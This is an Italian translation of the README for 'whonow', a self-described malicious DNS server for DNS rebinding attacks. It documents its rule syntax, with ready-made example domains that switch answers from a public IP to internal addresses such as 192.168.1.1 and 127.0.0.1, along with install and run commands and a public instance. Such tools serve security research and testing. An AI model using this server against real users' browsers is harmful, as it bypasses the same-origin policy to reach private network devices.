
Un server DNS "maligno" per eseguire attacchi di DNS Rebinding al volo (istanza pubblica in esecuzione su rebind.network:53)
Un server DNS malevolo per eseguire attacchi DNS Rebinding al volo. whonow ti consente di specificare dinamicamente le risposte DNS e le regole di rebinding usando le richieste di dominio stesse.
# respond to DNS queries for this domain with 34.192.228.43 the first time
# it is requested and then 192.168.1.1 every time after that
A.34.192.228.43.1time.192.168.1.1.forever.rebind.network
# respond first with 34.192.228.43, then 192.168.1.1 the next five times,
# and then start all over again (1, then 5, forever...)
A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network
La cosa grandiosa delle regole dinamiche di DNS Rebinding è che non devi configurare il tuo server DNS malevolo per iniziare a sfruttare la Same-origin policy del browser. Invece, tutti possono condividere lo stesso server whonow pubblico in esecuzione sulla porta 53 di rebind.network.
Nota: Dovresti includere un UUID (es. a06a5856-1fff-4415-9aa2-823230b05826) come sottodominio in ogni query DNS verso un server whonow. Per brevità sono stati omessi dagli esempi in questo README, ma si presume che le richieste a *.rebind.network siano in realtà *.a06a5856-1fff-4415-9aa2-823230b05826.rebind.network. Vedi la sezione Gotchas per maggiori informazioni sul perché.
DICHIARAZIONE DI NON RESPONSABILITÀ: Questo software è solo a scopo educativo. Non deve essere utilizzato per attività illegali. L'autore non è responsabile per il suo uso. Non fare lo stronzo.
La bellezza di whonow è che puoi definire il comportamento delle risposte DNS tramite i sottodomini nel nome di dominio stesso. Usando solo poche semplici parole chiave: A, (n)times, forever e repeat, puoi definire un comportamento DNS complesso e potente.
whonowA.<ip-address>.<rule>[.<ip-address>.<rule>[.<ip-address>.<rule>]][.uuid/random-string].example.com
A: Il tipo di richiesta DNS. Al momento solo i record A sono supportati, ma AAAA dovrebbe arrivare presto.<ip-address>: un indirizzo ipv4 (ipv6 in arrivo) con ogni ottetto separato da un punto (es. 192.168.1.1.)<rule>: Una di tre regole
(n)time[s]: Il numero di volte che il server DNS deve rispondere con l'indirizzo IP precedente. Accetta stringhe sia plurali che singolari (es. 1time, 3times, 5000times)forever: Rispondi con l'indirizzo IP precedente per sempre.repeat: Ripeti l'intero insieme di regole a partire dall'inizio.[uuid/random-string]: Una stringa casuale per mantenere separati gli attacchi DNS Rebind contro gli stessi indirizzi IP. Vedi Gotchas per maggiori informazioni.example.com: Un nome di dominio che punti a un nameserver , come l'istanza pubblicamente disponibile su .Le regole possono essere concatenate per formare un comportamento di risposta complesso.
# always respond with 192.168.1.1. This isn't really DNS rebinding
# but it still works
A.192.168.1.1.forever.rebind.network
# alternate between localhost and 10.0.0.1 forever
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
# first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3 forever.
A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network
# respond with 34.192.228.43 the first time, then whatever `whonow --default-address`
# is set to forever after that (default: 127.0.0.1)
A.34.192.228.43.1time.rebind.network
Ogni etichetta [sottodominio] può contenere da zero a 63 caratteri... Il nome di dominio completo non può superare la lunghezza di 253 caratteri nella sua rappresentazione testuale. (dalla pagina Wikipedia del DNS)
Inoltre, non possono esserci più di 127 etichette/sottodomini.
Ogni richiesta di nome di dominio univoco a whonow crea un piccolo programma di salvataggio dello stato nella RAM del server. La volta successiva che quel nome di dominio viene richiesto, il contatore del programma incrementa e lo stato può essere mutato. Tutti i nomi di dominio univoci sono istanze di programma uniche e proprie. Per evitare conflitti con altri utenti o di far incrementare involontariamente lo stato del programma del tuo nome di dominio, dovresti aggiungere un sottodominio UUID dopo le definizioni delle regole. Quell'UUID non dovrebbe mai essere riutilizzato.
# this
A.127.0.0.1.1time.10.0.0.1.1time.repeat.8f058b82-4c39-4dfe-91f7-9b07bcd7fbd4.rebind.network
# not this
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
--max-ram-domainsLo stato del programma associato a ogni nome di dominio univoco è memorizzato da whonow nella RAM. Per evitare di esaurire la RAM, viene posto un limite massimo al numero di domini univoci il cui stato del programma può essere gestito contemporaneamente. Di default, questo valore è impostato a 10.000.000, ma può essere configurato con --max-ram-domains. Una volta raggiunto questo limite, i nomi di dominio e il loro stato del programma salvato verranno rimossi nell'ordine in cui sono stati aggiunti (FIFO).
whonowPer eseguire il proprio server whonow nel cloud, usa il pannello di amministrazione del tuo provider di nomi di dominio per configurare un nameserver personalizzato che punti al tuo VPS. Quindi installa whonow su quel VPS e assicurati che sia in esecuzione sulla porta 53 (la porta DNS predefinita) e che la porta 53 sia accessibile a Internet.
# install
npm install --cli -g whonow@latest
# run it!
whonow --port 53
# you can also run it with more logging to stdout and save DNS activity to CSV
whonow --port 53 --logfile log.csv --verbose

Se quello ☝ è troppo complicato, sentiti libero di usare il server whonow pubblico in esecuzione sulla porta 53 di rebind.network.🌐.
$ whonow --help
usage: whonow [-h] [-v] [-p PORT] [-d DEFAULT_ANSWER] [-b MAX_RAM_DOMAINS]
[-l LOGFILE] [-m]
A malicious DNS server for executing DNS Rebinding attacks on the fly.
Optional arguments:
-h, --help Show this help message and exit.
-v, --version Show program's version number and exit.
-p PORT, --port PORT What port to run the DNS server on (default: 53).
-d DEFAULT_ANSWER, --default-answer DEFAULT_ANSWER
The default IP address to respond with if no rule is
found (default: "127.0.0.1").
-b MAX_RAM_DOMAINS, --max-ram-domains MAX_RAM_DOMAINS
The number of domain name records to store in RAM at
once. Once the number of unique domain names queried
surpasses this number domains will be removed from
memory in the order they were requested. Domains that
have been removed in this way will have their program
state reset the next time they are queried (default:
10000000).
-l LOGFILE, --logfile LOGFILE
Log to CSV file (default: false)
-m, --verbose Log request timestamp and sender IP address to stdout
(default: false)
Un server whonow deve essere in esecuzione su localhost:15353 per eseguire i test in test.js
# in one terminal
whonow -p 15353
# in another terminal
cd path/to/node_modules/whonow
npm test
whonowwhonowrebind.network:53